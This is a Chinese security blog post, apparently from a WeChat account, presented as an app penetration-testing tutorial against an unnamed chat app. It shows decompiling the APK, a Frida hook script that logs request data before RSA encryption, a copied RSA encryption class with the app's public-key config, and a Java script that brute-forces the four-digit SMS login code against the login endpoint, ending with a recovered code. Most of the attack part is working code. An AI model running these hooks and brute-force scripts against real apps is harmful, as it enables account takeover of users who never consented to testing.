免责声明:本公众号所提供的文字和信息仅供学习和研究使用,不得用于任何非法用途。我们强烈谴责任何非法活动,并严格遵守法律法规。读者应该自觉遵守法律法规,不得利用本公众号所提供的信息从事任何违法活动。本公众号不对读者的任何违法行为承担任何责任。
最近暗月弄了数个安全圈交流的群 欢迎前来加入 有需要好友添加微信发送 进群
需要渗透测试培训联系 扫一扫下面微信
很多收集app对登录提交的参数数据进行加密处理。而且还会验证参数是否被篡改。
有的app会生成一个sign值 用来验证提交的参数是否被篡改。
有的app则会对输入的参数 加密再发到服务器进行验证。
在app渗透中 破解这些协议显得极其重要,也是 渗透测试人员掌握的一项必不可少的节能。
破解协议后 还要对测试的数据进行封包 提交到服务器上。
打开今天要测试的app是某个聊天软件。在逍遥模拟器上安装。打开软件 输入手机和验证码登录。
使用burpsuite抓包
修改包提交 服务器会解密报错。
看到param的参数 是url和base64编码过的 并没有看到提交的手机号码和验证码的信息。因为这些参数信息被提交之前就被进行加密或编码。
解码之后都是乱码 url解码->base64解码
如果要测试验证码是否可预测,首先要知道提交参数的加密方式。所以要对app反编译再进行分析。
反编译的首先检测一下是否存在加壳。加壳的话还要脱壳。这个app并没有加壳 所以可以直接反编译得到源码。
使用jadx-gui 反编译apk得到源码 得到源码后 定位搜索关键词 定位 提交参数得地方。这里把url作为关键词搜索
点击跟进 进入之后发现是一个静态变量 右键 选择调用实例。
继续跟进。
从代码中 看到这里是一个post提交到url中 而且还会带上参数。
带上的参数是HashMap的内容。跟进hashMap赋值
hashMap赋值的参数还是挺多的。hashMap被 ParamUtil.getParam(hashMap)处理。所以跟进getParam函数
在 getParam 函数中还会往hashMap里面赋值 包括 t_token tokenId 赋值完之后 用 JSON.toJSONString(map) 转成成字符串。再带入 RUtil.publicEncrypt(jSONString); 函数中处理。
跟进 publicEncrypt函数。
发现是一个rsa加密。
那加密的流程就是 提交的参数 赋值到hashmap 通过 JSON.toJSONString 转成成字符串,再通过rsa对字符串进行加密。
使用hook分析hashmap 在hashmap的值除了从控件里面赋值 还有的部分从函数赋值进来。肉眼是很难分析出来了。所以使用frida hook关键函数进行分析。
整个静态方法是将传入的字符串 进行加密处理 hook整个字符串信息。编写脚本
Java.perform(function(){
var hash=null;
var class0 = Java.use("com.xxx.live.util.RUtil")
class0.publicEncrypt.implementation = function (str) {
hash = this.publicEncrypt(str)
console.log("str : "+ str);
console.log(hash);
return hash;
}})
在app登录获取内容
这样就可以看到获取相关的赋值 和rsa加密后的字符串。提交多次 发现某些值是固定的。所以不用再hook其他函数了。
测试可预测的验证码。把1234验证码替换成其他四位数号码即可。
现在字符串有了。就差一个加密函数。
rsa是非对称加密 公钥 加密 私钥解密。
上面的rsa是公钥加密的 首先找到公钥。公钥一般都在app内 很容易找到。
rsa 可以从 app中的加密类中copy下来 或者 自己编写 。这种标准的加密方式 网上也有很多工具类,本地修改一下即可。这里我就copy app类的加密类 再进行函数替换。
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;import javax.crypto.Cipher;
import java.io.ByteArrayOutputStream;
import java.security.KeyFactory;
import java.security.NoSuchAlgorithmException;
import java.security.interfaces.RSAPublicKey;
import java.security.spec.InvalidKeySpecException;
import java.security.spec.X509EncodedKeySpec;class RUtil {
private static final String CHARSET = "UTF-8";
private static final String CIPHER = "RSA/ECB/PKCS1Padding";
private static final String RSA_ALGORITHM = "RSA";RUtil() {
}private static RSAPublicKey getPublicKey(String str) throws NoSuchAlgorithmException, InvalidKeySpecException {
return (RSAPublicKey) KeyFactory.getInstance(RSA_ALGORITHM).generatePublic(new X509EncodedKeySpec(Base64.decodeBase64(str)));
}/* JADX INFO: Access modifiers changed from: package-private */
public static String publicEncrypt(String str) {
try {
Cipher cipher = Cipher.getInstance(CIPHER);
RSAPublicKey publicKey = getPublicKey(BuildConfig.rkey);
cipher.init(1, publicKey);
return Base64.encodeBase64String(rsaSplitCodec(cipher, 1, str.getBytes("UTF-8"), publicKey.getModulus().bitLength()));
} catch (Exception e2) {
e2.printStackTrace();
System.out.println("加密字符串[" + str + "]时遇到异常");
return "";
}
}private static byte[] rsaSplitCodec(Cipher cipher, int i2, byte[] bArr, int i3) {
int i4;
byte[] doFinal;
if (i2 == 2) {
i4 = i3 / 8;
} else {
i4 = (i3 / 8) - 11;
}
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int i5 = 0;
int i6 = 0;
while (bArr.length > i5) {
try {
if (bArr.length - i5 > i4) {
doFinal = cipher.doFinal(bArr, i5, i4);
} else {
doFinal = cipher.doFinal(bArr, i5, bArr.length - i5);
}
byteArrayOutputStream.write(doFinal, 0, doFinal.length);
i6++;
i5 = i6 * i4;
} catch (Exception e2) {
e2.printStackTrace();
System.out.println("加解密阀值为[" + i4 + "]的数据时发生异常");
}
}
byte[] byteArray = byteArrayOutputStream.toByteArray();
IOUtils.closeQuietly(byteArrayOutputStream);
return byteArray;
}
}
把公钥的配置文件也copy下来。
public final class BuildConfig {
public static final String APPLICATION_ID = "1.1.1.1";
public static final String BUILD_TYPE = "release";
public static final boolean DEBUG = false;
public static final String FLAVOR = "";
public static final int VERSION_CODE = 66;
public static final String VERSION_NAME = "1.0.2";
public static final String charset = "UTF-8";
public static final boolean debug = false;
public static final String hostAddress = "http://xxxxx/app/";
public static final String rkey = "MIGfMA0GCSqGaaaa4GNADCBiQKBgQCeDdxxTmgUh9ldW7SqxUJVWIF+78K3eYgQNuZGjwshNaaaaCO7VmAcuie8iXWHR3Eb8pRJZHRQ60pDbTH8oMXaaaa";
public static final String socketIp = "1.1.1.1";
}
接着调用加密rsa加密类 加密字符串
把生成的加密内容再拿到burp 测试是否能正常通信 可以看到是正常通信 证明我们的加密方式并没有错误
接下来 就可以测试 验证码登录接口的安全 验证码是四位数 共0000-9999可能 一般是从1000-9999 所以用一个for循环不断提交即可。
编写脚本
import com.github.kevinsawicki.http.HttpRequest;import java.util.HashMap;
import java.util.Map;public class demo {
public static void main(String[] args) throws InterruptedException {
for (int i = 1000; i <=9999 ; i++) {if(Check(String.valueOf(i))==true){
System.out.println(i);
break;
}
}}
public static Boolean Check(String i){
Boolean is =false;
String s = RUtil.publicEncrypt("{\"ip\":\"127.0.0.1\",\"phone\":\"电话号码\",\"smsCode\":\""+i+"\",\"deviceNumber\":\"881740a8db3ded7bf5a41c63a2aacb7e\",\"t_phone_type\":\"Android\",\"t_system_version\":\"Android 7.1.2\",\"tokenId\":\"0\",\"shareUserId\":\"0\"}");
System.out.println(s);
Map data= new HashMap<>();
data.put("param",s);
HttpRequest requests = HttpRequest.post("http://网站.com/app/app/login.html").form(data);
String content = requests.body();
System.out.println(content);
if(content.contains("登陆成功")){
return true;
}
return is;
}
}
执行结果
5340就是登录的验证码。
还要继续测试 app的其他安全 例如 短信群发弱口令登录等。可以使用frida hook 分析不同的hashmap。再加密发送即可。so seay。
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
觉得文章对你有帮助 请转发 点赞 收藏